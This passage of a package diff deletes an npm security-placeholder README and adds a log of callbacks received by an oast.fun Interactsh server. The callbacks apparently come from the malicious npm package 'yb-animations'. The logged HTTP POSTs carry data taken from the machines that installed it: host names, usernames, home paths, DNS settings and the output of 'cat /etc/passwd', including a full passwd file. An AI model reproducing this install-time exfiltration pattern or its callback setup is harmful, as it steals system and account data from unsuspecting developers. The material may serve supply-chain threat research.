R%22%5D%2C%22_resolved%22%3A%22C%3A%2FUsers%2FkZXG3JD9q1Z%2FDownloads%2Fpackage.tgz%22%2C%22_shasum%22%3A%22fb0bb4815eceb77cf2acd9ebb19e58a647317ed5%22%2C%22_spec%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22_where%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%22%2C%22author%22%3A%22%22%2C%22bundleDependencies%22%3Afalse%2C%22deprecated%22%3Afalse%2C%22description%22%3A%22%22%2C%22license%22%3A%22ISC%22%2C%22main%22%3A%22index.js%22%2C%22name%22%3A%22yb-animations%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22version%22%3A%221.0.1%22%7D%2C%22cmdError%22%3A%22Command%20failed%3A%20cat%20%2Fetc%2Fpasswd%5Cn'cat'%20is%20not%20recognized%20as%20an%20internal%20or%20external%20command%2C%5Cr%5Cnoperable%20program%20or%20batch%20file.%5Cr%5Cn%22%7D
|
646
|
+
|
647
|
+
-------------
|
648
|
+
HTTP Response
|
649
|
+
-------------
|
650
|
+
|
651
|
+
HTTP/1.1 200 OK
|
652
|
+
Connection: close
|
653
|
+
Access-Control-Allow-Credentials: true
|
654
|
+
Access-Control-Allow-Headers: Content-Type, Authorization
|
655
|
+
Access-Control-Allow-Origin: *
|
656
|
+
Content-Type: text/html; charset=utf-8
|
657
|
+
Server: oast.fun
|
658
|
+
X-Interactsh-Version: 1.2.2
|
659
|
+
|
660
|
+
<html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
|
661
|
+
|
662
|
+
|
663
|
+
[Ct4NgQ49342DD224gLj08j8R9i5darxsB] Received DNS interaction (A) from 172.253.221.152 at 2024-11-29 08:42:14
|
664
|
+
-----------
|
665
|
+
DNS Request
|
666
|
+
-----------
|
667
|
+
|
668
|
+
;; opcode: QUERY, status: NOERROR, id: 59740
|
669
|
+
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
|
670
|
+
|
671
|
+
;; QUESTION SECTION:
|
672
|
+
;Ct4NgQ49342DD224gLj08j8R9i5darxsB.oast.Fun. IN A
|
673
|
+
|
674
|
+
|
675
|
+
------------
|
676
|
+
DNS Response
|
677
|
+
------------
|
678
|
+
|
679
|
+
;; opcode: QUERY, status: NOERROR, id: 59740
|
680
|
+
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
681
|
+
|
682
|
+
;; QUESTION SECTION:
|
683
|
+
;Ct4NgQ49342DD224gLj08j8R9i5darxsB.oast.Fun. IN A
|
684
|
+
|
685
|
+
;; ANSWER SECTION:
|
686
|
+
Ct4NgQ49342DD224gLj08j8R9i5darxsB.oast.Fun. 3600 IN A 206.189.156.69
|
687
|
+
|
688
|
+
;; AUTHORITY SECTION:
|
689
|
+
Ct4NgQ49342DD224gLj08j8R9i5darxsB.oast.Fun. 3600 IN NS ns1.oast.fun.
|
690
|
+
Ct4NgQ49342DD224gLj08j8R9i5darxsB.oast.Fun. 3600 IN NS ns2.oast.fun.
|
691
|
+
|
692
|
+
;; ADDITIONAL SECTION:
|
693
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
694
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
695
|
+
|
696
|
+
|
697
|
+
|
698
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 18.208.52.97 at 2024-11-29 08:42:15
|
699
|
+
------------
|
700
|
+
HTTP Request
|
701
|
+
------------
|
702
|
+
|
703
|
+
POST / HTTP/1.1
|
704
|
+
Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
|
705
|
+
Connection: close
|
706
|
+
Content-Length: 2251
|
707
|
+
Content-Type: application/x-www-form-urlencoded
|
708
|
+
|
709
|
+
msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22%2Fa9be5BC8e666012%2Fnode_modules%2Fyb-animations%22%2C%22hd%22%3A%22%2Fhome%2Fa9be5BC8e666012%22%2C%22hn%22%3A%22instance%22%2C%22un%22%3A%22a9be5BC8e666012%22%2C%22dns%22%3A%5B%228.8.8.8%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22name%22%3A%22yb-animations%22%2C%22version%22%3A%221.0.1%22%2C%22description%22%3A%22%22%2C%22main%22%3A%22index.js%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22author%22%3A%22%22%2C%22license%22%3A%22ISC%22%7D%2C%22cmdOutput%22%3A%22root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%5Cndaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnbin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnsys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%5Cnsync%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%5Cngames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%5Cnman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%5Cnlp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%5Cnmail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%5Cnnews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%5Cnuucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%5Cnproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnwww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%5Cnbackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%5Cnlist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%5Cnirc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%5Cngnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%5Cnnobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cn_apt%3Ax%3A100%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cnmessagebus%3Ax%3A101%3A101%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cntcpdump%3Ax%3A102%3A102%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cna9be5BC8e666012%3Ax%3A10001%3A10001%3A%3A%2Fhome%2Fa9be5BC8e666012%3A%2Fbin%2Fbash%5Cn%22%7D
|
710
|
+
|
711
|
+
-------------
|
712
|
+
HTTP Response
|
713
|
+
-------------
|
714
|
+
|
715
|
+
HTTP/1.1 200 OK
|
716
|
+
Connection: close
|
717
|
+
Access-Control-Allow-Credentials: true
|
718
|
+
Access-Control-Allow-Headers: Content-Type, Authorization
|
719
|
+
Access-Control-Allow-Origin: *
|
720
|
+
Content-Type: text/html; charset=utf-8
|
721
|
+
Server: oast.fun
|
722
|
+
X-Interactsh-Version: 1.2.2
|
723
|
+
|
724
|
+
<html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
|
725
|
+
|
726
|
+
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=eb-docs for more information.
|